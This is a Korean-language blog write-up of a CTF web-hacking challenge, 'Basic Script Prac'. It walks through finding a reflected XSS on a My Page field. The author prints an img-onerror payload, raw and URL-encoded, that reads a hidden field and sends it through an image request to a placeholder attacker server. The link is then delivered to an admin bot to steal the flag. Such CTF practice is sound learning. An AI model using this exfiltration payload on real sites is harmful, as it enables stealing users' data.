무기는 끈기

[Web Hacking / 웹 해킹] XSS, Client Script 활용 CTF 문제 풀이write up : 'Basic Script Prac' 본문

Hacking/CTF

[Web Hacking / 웹 해킹] XSS, Client Script 활용 CTF 문제 풀이write up : 'Basic Script Prac'

김유비야 2024. 1. 16. 22:45

write up 해볼 CTF Challenge는 'Basic Script Prac' 이다.
가장 우측에 있지만, 클라이언트 스크립트를 활용하는 문제들 중 기본에 관한 문제이다.

문제를 클릭해보자.

문제에 대한 정보와 문제 페이지 링크, 그리고 관리자 방문 Bot Link가 나온다.

예상되는 풀이 루트:
1. 가장 하단의 문제 페이지에 접속
2. Mypage에서 XSS 취약점이 일어나는 곳 연구
3. XSS 취약점이 일어나는 곳에 삽입할 스크립트 제작
4. 스크립트가 실행될 링크를 관리자에게 전달
5. 내 공격자 서버로 데이터가 넘어오면 flag 탈취

 

혹시나 놓치는 것 없도록, 하나하나 차근차근 살펴보도록 한다.

 


 

1. 문제 페이지에 접속

문제 페이지가 나온다. Mypage에 취약점이 있다고 했으니, 로그인부터 해보자.

aaa / aaa 로 Sign up(회원가입)을 해준 뒤, 바로 로그인 해준다.

정상적으로 로그인이 되었고, 가장 상단에 '마이페이지' 버튼이 보인다. 클릭하여 접속해준다

.


 

2. Mypage에서 XSS 취약점이 일어나는 곳 연구

url을 보면 의도대로 mypage.php 에 잘 들어와졌고, 중간에 'Flag Here..!' 라는 무지하게 수상한 부분도 확인되었다.

F12를 눌러 개발자도구를 켠다.
개발자도구 왼쪽 위에 화살표 표시를 눌러, 자세히 확인하고 싶은 부분을 클릭하면 해당 요소에 대한 내용을 볼 수 있다.

Flag Here..! 가 적혀있는 곳의 element는 이렇게 구성되어 있다.

<input name="info" type="text" placeholder="Flag Here..!">

 

해당 부분에서 특정 내용을 보고 싶을 경우 document.gerElement~ 를 사용한다.

document.getElementsByName('info')[0].placeholder

name이라는 속성으로 info로 한정지을 수 있다.
ElementsByName으로 여러개의 Name 결과가 출력될 수 있으므로 다수의 결과 중 가장 먼저 나오는 결과 [0] 조건을 추가하여 원하는 결과를 출력할 수 있다.
(두번째 결과를 출력하고 싶다면 [1], 세번째는 [2] ... )
~.속성이름 을 붙여줌으로 특정 속성에 대한 결과를 보다 구체적으로 뽑아낼 수 있다.

해당 코드를 console 창에 입력하면 Flag Here..! 결과가 나온다.

 

 


 

3. XSS 취약점이 일어나는 곳에 삽입할 스크립트 제작

원하는 element를 뽑을 코드를 확인하였으니, 이제 버프 스위트로 취약점을 통해 데이터를 뽑을 수 있는 공격 스크립트를 짜보자.

GET 방식으로 url에 데이터가 노출된다.
이 부분을 활용하여 url에 스크립트를 넣어주려고 한다.

aaaResponse에서 어떻게 출력되는지 확인하고,
< ' " > 특수문자 삽입 시 제대로 출력되는지도 확인해준다.

aaa 뒤에 "/> 태그를 끝마치는 기호가 있으므로 이를 염두에 두고 스크립트를 짜도록 하자.

"/>
<img src=x onerror="var secretData=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src="내 공격자 서버 주소/?secretData="+secretData;

secretData에 위에서 작성한 코드를 써서 변수에 뽑아내고자 한 데이터를 담아준다.
새로운 이미지 태그를 생성하여, 이미지 소스에 뽑아낸 데이터를 전송할 내 공격자 서버 주소를 넣고 + 데이터를 이어준다.

 

4. 스크립트가 실행될 링크를 관리자에게 전달

3번에서 작성한 스크립트를 url에서 잘 작동할 수 있게 수정해준다.

띄어쓰기 -> 없앨 수 있는 곳은 없애고, 꼭 필요한 곳은 +로 수정한다.
+ -> %2b로 디코딩 해준다.

"/><img+src=x+onerror="var+data=document.getElementsByName('info')[0].placeholder;vari=new+Image();i.src='내 공격자 서버 주소/?data='%2bdata;


5. 내 공격자 서버로 데이터가 넘어오면 flag 탈취

스크립트를 Request 에 넣어주고 send 하면 Response에서 잘 출력되는 것을 확인할 수 있다.

Request 부분을 우클릭해서 copy URL을 해주고, 관리자 Bot 링크에 넣어서 관리자가 접속하도록 유도한다.

 

관리자가 접속했다는 알림이 뜨면,
내 공격자 서버로 이동하여 서버에 Flag가 담긴 데이터가 잘 전달되었는지 확인한다.

 

위 캡쳐와 같이 제대로 데이터를 추출하여 Flag가 나온 것을 확인할 수 있다.